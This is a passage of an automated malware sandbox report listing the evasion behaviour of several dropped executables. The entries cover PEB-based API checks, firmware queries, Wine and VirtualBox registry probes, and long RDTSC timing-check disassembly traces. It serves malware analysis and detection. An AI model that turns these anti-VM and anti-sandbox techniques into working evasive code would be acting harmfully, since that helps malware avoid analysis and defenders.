Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D47 second address: B18D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D4B second address: B18D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D51 second address: B18D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 jl 00007FC3A8C83B36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18D62 second address: B18D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC3A8C81766h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24E2B second address: B24E56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC3A8C83B43h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FC3A8C83B42h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B24E56 second address: B24E5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2769D second address: B276A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B276A1 second address: B276A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B276A7 second address: B276AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B276AC second address: B276D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC3A8C81766h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FC3A8C8176Ch 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jc 00007FC3A8C8176Eh 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B276D3 second address: B276F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [eax] 0x00000007 jbe 00007FC3A8C83B3Eh 0x0000000d jg 00007FC3A8C83B38h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jnl 00007FC3A8C83B36h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B278B7 second address: B278BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B278BB second address: B27940 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, dword ptr [ebp+122D3784h] 0x00000013 push 00000000h 0x00000015 call 00007FC3A8C83B39h 0x0000001a jp 00007FC3A8C83B44h 0x00000020 push eax 0x00000021 jo 00007FC3A8C83B56h 0x00000027 pushad 0x00000028 jmp 00007FC3A8C83B48h 0x0000002d ja 00007FC3A8C83B36h 0x00000033 popad 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC3A8C83B42h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27940 second address: B279B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81778h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jnc 00007FC3A8C8176Ch 0x00000012 jmp 00007FC3A8C8176Dh 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jmp 00007FC3A8C8176Bh 0x00000021 pop eax 0x00000022 mov edi, dword ptr [ebp+122D3838h] 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D2DAEh], esi 0x00000030 push 00000000h 0x00000032 sub dword ptr [ebp+122D1F9Bh], edx 0x00000038 push 00000003h 0x0000003a or dword ptr [ebp+122D2908h], ecx 0x00000040 push 5803B376h 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push edx 0x0000004a pop edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B279B2 second address: B279CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27B65 second address: B27B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39C80 second address: B39C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39C84 second address: B39C88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13CBD second address: B13D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC3A8C83B36h 0x0000000a jmp 00007FC3A8C83B43h 0x0000000f popad 0x00000010 push edx 0x00000011 jmp 00007FC3A8C83B45h 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC3A8C83B46h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B13D0C second address: B13D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46DBF second address: B46DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47346 second address: B4734A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4734A second address: B4736A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC3A8C83B46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B474EF second address: B474FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B474FA second address: B47529 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FC3A8C83B48h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 push esi 0x00000014 pop esi 0x00000015 jnp 00007FC3A8C83B36h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47675 second address: B476B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push ecx 0x00000008 jc 00007FC3A8C81766h 0x0000000e jmp 00007FC3A8C81773h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FC3A8C81775h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B476B0 second address: B476B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47821 second address: B47829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47829 second address: B4782D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4782D second address: B47843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FC3A8C8178Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47843 second address: B47847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47B10 second address: B47B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47B16 second address: B47B26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FC3A8C83B3Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47B26 second address: B47B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007FC3A8C81787h 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47B3D second address: B47B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47F68 second address: B47F72 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC3A8C81766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47F72 second address: B47F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B47F78 second address: B47F7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48683 second address: B48689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48689 second address: B4868D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4868D second address: B48697 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48697 second address: B4869D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4869D second address: B486A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48E20 second address: B48E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B48E24 second address: B48E29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C5A4 second address: B4C5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4C5A8 second address: B4C5B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CA28 second address: B4CA39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C8176Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CA39 second address: B4CA3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4CE13 second address: B4CE20 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DEC1 second address: B4DEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FC3A8C83B49h 0x0000000a popad 0x0000000b je 00007FC3A8C83B55h 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1C3CA second address: B1C3CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1C3CE second address: B1C3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC3A8C83B45h 0x00000013 push esi 0x00000014 jno 00007FC3A8C83B36h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1C3F9 second address: B1C400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55E98 second address: B55EA2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC3A8C83B36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12275 second address: B1227A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1227A second address: B1228A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jng 00007FC3A8C83B36h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5526C second address: B55288 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FC3A8C81777h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555B7 second address: B555C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC3A8C83B36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555C6 second address: B555CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B555CA second address: B555E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5578D second address: B55791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55A59 second address: B55A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55A5D second address: B55A61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55A61 second address: B55A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B41h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55A78 second address: B55A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C81779h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55A97 second address: B55A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55BDB second address: B55BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC3A8C81766h 0x0000000a pop ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55D2B second address: B55D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B57ECA second address: B57ED0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B57ED0 second address: B57F59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC3A8C83B42h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 js 00007FC3A8C83B42h 0x00000017 je 00007FC3A8C83B3Ch 0x0000001d je 00007FC3A8C83B36h 0x00000023 pop eax 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007FC3A8C83B38h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D17E3h], ebx 0x00000044 call 00007FC3A8C83B39h 0x00000049 push edx 0x0000004a jp 00007FC3A8C83B3Ch 0x00000050 pop edx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FC3A8C83B47h 0x00000059 rdtsc
